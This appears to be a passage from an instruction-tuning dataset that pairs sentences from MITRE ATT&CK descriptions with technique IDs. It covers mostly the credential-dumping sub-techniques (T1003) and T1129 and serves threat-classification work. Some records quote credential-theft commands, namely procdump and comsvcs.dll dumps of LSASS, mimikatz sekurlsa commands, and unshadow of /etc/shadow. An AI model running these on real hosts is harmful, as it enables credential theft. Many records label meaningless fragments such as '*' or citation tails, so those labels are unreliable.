account is the local, built-in administrator.", "output": "T1003.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: RID 500 account is the local, built-in administrator. ### Response: T1003.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* RID 501 is the guest account.", "output": "T1003.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * RID 501 is the guest account. ### Response: T1003.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1003.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1003.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "User accounts start with a RID of 1,000+.", "output": "T1003.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: User accounts start with a RID of 1,000+. ### Response: T1003.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation:", "output": "T1003.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: ### Response: T1003.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at <code>HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets</code>.", "output": "T1003.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at <code>HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets</code>. ### Response: T1003.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)", "output": "T1003.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets) ### Response: T1003.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry.", "output": "T1003.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. ### Response: T1003.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)", "output": "T1003.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets) ### Response: T1003.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017)", "output": "T1003.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to access credentials and other sensitive information by abusing a Windows Domain Controller's application programming interface (API)(Citation: Microsoft DRSR Dec 2017) ### Response: T1003.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync.", "output": "T1003.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication process from a remote domain controller using a technique called DCSync. ### Response: T1003.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Members of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators.", "output": "T1003.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Members of the Administrators, Domain Admins, and Enterprise Admin groups or computer accounts on the domain controller are able to run DCSync to pull password data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may include current and historical hashes of potentially useful accounts such as KRBTGT and Administrators. ### Response: T1003.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation:", "output": "T1003.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The hashes can then in turn be used to create a [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz and DCSync) or change an account's password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation: ### Response: T1003.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "InsiderThreat ChangeNTLM July 2017)", "output": "T1003.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: InsiderThreat ChangeNTLM July 2017) ### Response: T1003.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "DCSync functionality has been included in the \"lsadump\" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation:", "output": "T1003.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: DCSync functionality has been included in the \"lsadump\" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs DCSync over a legacy replication protocol.(Citation: ### Response: T1003.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft NRPC Dec 2017)", "output": "T1003.006", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft NRPC Dec 2017) ### Response: T1003.006."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather credentials from the proc filesystem or `/proc`.", "output": "T1003.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather credentials from the proc filesystem or `/proc`. ### Response: T1003.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory.", "output": "T1003.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. ### Response: T1003.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For each process, the `/proc/<PID>/maps` file shows how memory is mapped within the process\u2019s virtual address space.", "output": "T1003.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For each process, the `/proc/<PID>/maps` file shows how memory is mapped within the process\u2019s virtual address space. ### Response: T1003.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "And `/proc/<PID>/mem`, exposed for debugging purposes, provides access to the process\u2019s virtual address space.(Citation: Picus Labs Proc cump 2022)(Citation:", "output": "T1003.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: And `/proc/<PID>/mem`, exposed for debugging purposes, provides access to the process\u2019s virtual address space.(Citation: Picus Labs Proc cump 2022)(Citation: ### Response: T1003.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "baeldung Linux proc map 2022)", "output": "T1003.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: baeldung Linux proc map 2022) ### Response: T1003.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns that are indicative of credentials, such as looking for fixed strings in memory structures or cached hashes.", "output": "T1003.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns that are indicative of credentials, such as looking for fixed strings in memory structures or cached hashes. ### Response: T1003.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When running without privileged access, processes can still view their own virtual memory locations.", "output": "T1003.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When running without privileged access, processes can still view their own virtual memory locations. ### Response: T1003.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some services or programs may save credentials in clear text inside the process\u2019s memory.(Citation: MimiPenguin GitHub May 2017)(Citation:", "output": "T1003.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some services or programs may save credentials in clear text inside the process\u2019s memory.(Citation: MimiPenguin GitHub May 2017)(Citation: ### Response: T1003.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Polop Linux PrivEsc Gitbook)", "output": "T1003.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Polop Linux PrivEsc Gitbook) ### Response: T1003.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.", "output": "T1003.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located. ### Response: T1003.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights.", "output": "T1003.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. ### Response: T1003.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default, the NTDS file (NTDS.dit) is located in <code>%SystemRoot%\\NTDS\\Ntds.dit</code> of a domain controller.(Citation: Wikipedia Active Directory)", "output": "T1003.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default, the NTDS file (NTDS.dit) is located in <code>%SystemRoot%\\NTDS\\Ntds.dit</code> of a domain controller.(Citation: Wikipedia Active Directory) ### Response: T1003.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015)", "output": "T1003.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015) ### Response: T1003.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.", "output": "T1003.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes. ### Response: T1003.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy", "output": "T1003.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy ### Response: T1003.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)", "output": "T1003.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds) ### Response: T1003.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache)", "output": "T1003.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) ### Response: T1003.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The number of default cached credentials varies and can be altered per system.", "output": "T1003.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The number of default cached credentials varies and can be altered per system. ### Response: T1003.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)\n\nWith SYSTEM access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py can be used to extract the cached credentials.", "output": "T1003.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)\n\nWith SYSTEM access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py can be used to extract the cached credentials. ### Response: T1003.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Note: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)", "output": "T1003.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Note: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache) ### Response: T1003.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS).", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory.", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550). ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system. ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, on the target host use procdump:\n\n* <code>procdump -ma lsass.exe lsass_dump</code>\n\nLocally, mimikatz can be run using:\n\n* <code>sekurlsa::Minidump lsassdump.dmp</code>\n* <code>sekurlsa::logonPasswords</code>\n\nBuilt-in Windows tools such as comsvcs.dll can also be used:", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, on the target host use procdump:\n\n* <code>procdump -ma lsass.exe lsass_dump</code>\n\nLocally, mimikatz can be run using:\n\n* <code>sekurlsa::Minidump lsassdump.dmp</code>\n* <code>sekurlsa::logonPasswords</code>\n\nBuilt-in Windows tools such as comsvcs.dll can also be used: ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* <code>rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID  lsass.dmp full</code>(Citation: Volexity Exchange Marauder March 2021)(Citation:", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * <code>rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID  lsass.dmp full</code>(Citation: Volexity Exchange Marauder March 2021)(Citation: ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Symantec Attacks Against Government Sector)\n\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start.", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Symantec Attacks Against Government Sector)\n\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>.", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014) ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The following SSPs can be used to access credentials:\n\n*", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The following SSPs can be used to access credentials:\n\n* ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package. ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation:", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TechNet Blogs Credential Protection)", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TechNet Blogs Credential Protection) ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later. ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* CredSSP:  Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation:", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * CredSSP:  Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "TechNet Blogs Credential Protection)", "output": "T1003.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: TechNet Blogs Credential Protection) ### Response: T1003.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to dump the contents of <code>/etc/passwd</code> and <code>/etc/shadow</code> to enable offline password cracking.", "output": "T1003.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to dump the contents of <code>/etc/passwd</code> and <code>/etc/shadow</code> to enable offline password cracking. ### Response: T1003.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most modern Linux operating systems use a combination of <code>/etc/passwd</code> and <code>/etc/shadow</code> to store user account information including password hashes in <code>/etc/shadow</code>.", "output": "T1003.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most modern Linux operating systems use a combination of <code>/etc/passwd</code> and <code>/etc/shadow</code> to store user account information including password hashes in <code>/etc/shadow</code>. ### Response: T1003.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By default, <code>/etc/shadow</code> is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\n\nThe Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation:", "output": "T1003.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By default, <code>/etc/shadow</code> is only readable by the root user.(Citation: Linux Password and Shadow File Formats)\n\nThe Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: ### Response: T1003.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "nixCraft - John the Ripper) <code># /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db</code>", "output": "T1003.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: nixCraft - John the Ripper) <code># /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db</code> ### Response: T1003.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additional custom tools likely exist as well.", "output": "T1003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additional custom tools likely exist as well. ### Response: T1003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may execute malicious payloads via loading shared modules.", "output": "T1129", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may execute malicious payloads via loading shared modules. ### Response: T1129."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., [Native API](https://attack.mitre.org/techniques/T1106)).", "output": "T1129", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., [Native API](https://attack.mitre.org/techniques/T1106)). ### Response: T1129."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system.", "output": "T1129", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use this functionality as a way to execute arbitrary payloads on a victim system. ### Response: T1129."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective.", "output": "T1129", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective. ### Response: T1129."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Linux & macOS module loader can load and execute shared objects from arbitrary local paths.", "output": "T1129", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Linux & macOS module loader can load and execute shared objects from arbitrary local paths. ### Response: T1129."}{"instruction": "List the MITRE techniques 